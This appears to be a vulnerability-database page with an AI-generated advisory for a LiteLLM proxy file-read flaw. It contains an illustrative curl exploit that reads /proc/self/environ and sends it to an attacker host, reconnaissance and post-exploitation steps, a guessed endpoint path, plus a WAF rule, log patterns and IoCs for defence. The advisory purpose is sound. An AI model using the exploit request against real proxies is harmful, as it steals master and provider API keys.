CVE Professor
/
All CVEs
CVE-2026-145672

CVE-2026-145672 — CWE-73

CRITICAL CVSS 10 NVD

BerriAI LiteLLM before 1.103.10, 1.104.x before 1.104.8, 1.105.x before 1.105.6, and 1.106.x before 1.106.5 contains an unauthenticated file read vulnerability on Enterprise-licensed proxies, where callback parameters such as gcs_path_service_account in requests to LLM routes control a local file path that the proxy reads and sends to an attacker-chosen URL. Remote attackers can exfiltrate /proc/self/environ to obtain LITELLM_MASTER_KEY and provider API keys, gaining full admin access to the proxy.

BerriAI LiteLLM before 1.103.10, 1.104.x before 1.104.8, 1.105.x before 1.105.6, and 1.106.x before 1.106.5 contains an unauthenticated file read vulnerability on Enterprise-licensed proxies, where callback parameters such as gcs_path_service_account in requests to LLM routes control a local file path that the proxy reads and sends to an attacker-chosen URL. Remote attackers can exfiltrate /proc/self/environ to obtain LITELLM_MASTER_KEY and provider API keys, gaining full admin access to the proxy.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Changed S:C
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE‑2026‑145672 is a classic CWE‑73 Absolute Path Traversal flaw that exists in the Enterprise‑licensed proxy component of BerriAI LiteLLM.
The proxy exposes LLM routes that accept a callback parameter (e.g., gcs_path_service_account). The value of this parameter is used directly as a file path when the proxy reads a local file and forwards its contents to the URL supplied in the callback.

Key points of the flaw:

LayerMissing / Incorrect Check
AuthenticationThe vulnerable endpoint is reachable without any authentication or authorization.
Input ValidationNo sanitisation or whitelisting of the gcs_path_service_account value. The proxy accepts any string, including absolute paths and path‑traversal sequences.
AuthorizationThe proxy does not verify that the caller is allowed to read the requested file.
ExfiltrationThe file contents are sent to an arbitrary URL supplied by the attacker, allowing remote exfiltration of data.

Because the proxy runs with the same privileges as the LiteLLM service, reading /proc/self/environ yields the process environment, which contains the LITELLM_MASTER_KEY and any provider API keys. With those secrets the attacker can:

  • Impersonate an administrator (by forging signed requests or by using the master key to generate new admin tokens).
  • Call any internal or external LLM provider APIs on behalf of the proxy.
  • Modify configuration files or other sensitive data.
  • The CVSS vector AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H reflects that a remote attacker can achieve full administrative control with no authentication or UI interaction.


    ⚡ Attack Chain

    NOTE: The exact URI for the LLM route is not published in the CVE text. The example below uses /api/v1/llm as an illustrative endpoint that follows the typical pattern used by LiteLLM. If your environment uses a different path, substitute it accordingly.

    1. Discovery & Reconnaissance

    StepTechniqueWhat to look for
    Version FingerprintingHTTP header inspection, /version endpoint, or curl -IX-BerriAI-Version: 1.104.5 (or any < 1.103.10, < 1.104.8, < 1.105.6, < 1.106.5)
    License DetectionCheck for Enterprise flag in /config or /license endpointPresence of enterprise: true
    Endpoint EnumerationScan for /api/v1/llm or similarcurl -X GET http://target/api/v1/llm returns 200

    If the target is running an affected version and is Enterprise‑licensed, the vulnerability is present.

    2. Exploitation

    The attacker crafts a request that:

    1. Sets gcs_path_service_account to an absolute path that the proxy can read (/proc/self/environ).
    2. Supplies a callback_url that points to an attacker‑controlled server.

    Illustrative PoC (curl)

    curl -X POST "http://<target-host>/api/v1/llm" \
         -H "Content-Type: application/json" \
         -d '{
               "prompt": "dummy",
               "gcs_path_service_account": "/proc/self/environ",
               "callback_url": "http://<attacker-host>/receive"
             }'

    What happens on the server side?
    The proxy reads /proc/self/environ, obtains the environment variables, and sends the raw content to http://<attacker-host>/receive. The attacker’s server receives a payload that looks like:

    LITELLM_MASTER_KEY=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
    PROVIDER_API_KEY=sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
    ...

    Because the proxy has no authentication guard, the request succeeds even from an unauthenticated IP.

    3. Post‑Exploitation

    With the secrets in hand, the attacker can:

    ActionHow it’s achieved
    Impersonate AdminUse LITELLM_MASTER_KEY to sign requests or generate new admin JWTs via the internal /admin/token endpoint (if available).
    Call Provider APIsUse the provider API key to send requests to the LLM provider on behalf of the proxy, effectively bypassing rate limits or billing.
    Modify ConfigurationWrite to config.yaml or other files by leveraging the master key to authenticate to the /admin/config API.
    Data ExfiltrationUse the proxy as a pivot to exfiltrate data from other internal services.

    The attacker now has full administrative control over the proxy, which can be used to launch further attacks (e.g., RCE via other vulnerable endpoints, lateral movement, or persistence).


    🌍 Real World Impact

    ImpactDescription
    ConfidentialityFull disclosure of LITELLM_MASTER_KEY and all provider API keys.
    IntegrityAbility to modify any configuration, inject malicious prompts, or tamper with internal state.
    AvailabilityThe attacker can repeatedly trigger the vulnerability, causing high CPU usage or exhausting file descriptors, leading to denial of service.
    ScopeThe vulnerability changes the scope (S:C) because the attacker can gain privileges that affect the entire system.

    Practical consequences for an organization:

  • Loss of control over all LLM requests and billing.
  • Exposure of sensitive data that may be stored in environment variables (e.g., database credentials, internal tokens).
  • Potential for the attacker to use the proxy as a foothold for further lateral movement within the network.

  • 🛡️ Remediation & Mitigation

    Affected Versions

    ProductAffected Versions
    BerriAI LiteLLM Enterprise Proxy< 1.103.10, < 1.104.8, < 1.105.6, < 1.106.5

    Upgrade Recommendation
    Upgrade to the first non‑affected release:

  • 1.103.10 or later
  • 1.104.8 or later
  • 1.105.6 or later
  • 1.106.5 or later
  • Workarounds

    1. Disable the callback feature
    If the proxy configuration allows disabling the callback mechanism, set enable_callback: false.

    2. Restrict gcs_path_service_account to a whitelist
    Example (pseudo‑config):

    allowed_file_paths:
         - /tmp/*
         - /var/lib/litellm/*

    3. Restrict callback_url to internal addresses

    allowed_callback_domains:
         - internal.company.com

    4. WAF / ModSecurity rule

    SecRule REQUEST_URI|ARGS|ARGS_NAMES "@rx (?:\.\./)+|/proc/self/environ" \
           "id:1001,phase:2,deny,status:403,msg:'CWE-73 File Read Exploit Attempt'"

    5. Network segmentation
    Place the proxy in a separate subnet with no outbound internet access. Use a proxy or firewall to allow only necessary outbound traffic.

    Detection

    Log PatternExample
    Unauthorized file read attemptPOST /api/v1/llm 200 - gcs_path_service_account=/proc/self/environ
    Outbound HTTP request to attacker domainPOST http://attacker.com/receive 200 -
    403 responses from WAFSecRuleMatch: CWE-73 File Read

    Indicators of Compromise (IoCs)

  • HTTP requests to /api/v1/llm containing /proc/self/environ in any parameter.
  • Outbound traffic to unfamiliar external domains from the proxy host.
  • Presence of LITELLM_MASTER_KEY or PROVIDER_API_KEY in logs or captured payloads.

  • ⚠️ Urgency

  • CVSS Score: 10/10 (Critical)
  • Exploit Complexity: Low (no authentication, no UI)
  • CISA KEV: No (but the impact is severe)
Priority: Immediate – patch or mitigate within 24 hours. The combination of unauthenticated access, the ability to read sensitive environment variables, and the scope‑changing nature of the vulnerability means that any exposed instance is a high‑risk target for attackers.
[🤖 CVE Professor AI Security Engine]
Target Reconnaissance Queries (FOFA & Shodan)
CVSS Score
10 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-73
References & Advisories (2)
Related CVEs
6.8
CVE-2026-145605
Adminer before 6.3.1 contains a remote code execution vulnerability that allows authenticated users to create
4.4
CVE-2026-81148
Dell Secure Connect Gateway - Virtual Edition, versions prior to 5.36.00.16, contains an External Control of F
2.5
CVE-2026-81226
Dell Secure Connect Gateway - Virtual Edition, versions prior to 5.36.00.16, contains an External Control of F
0.0
CVE-2026-48963
Solr's RuleBasedAuthorizationPlugin associates the wrong permission with several endpoints in versions 6.0.0 t
8.7
CVE-2026-144965
Docutils before 0.23.1 contains a local file disclosure vulnerability in the HTML and ODT writers that embed i
8.6
CVE-2026-135760
External control of a file path in Revenera FlexNet Publisher lmadmin versions 11.19.10 and prior allows a re
6.1
CVE-2026-130017
When a table is dropped with purge, and when old metadata files are deleted after a commit (write.metadata.del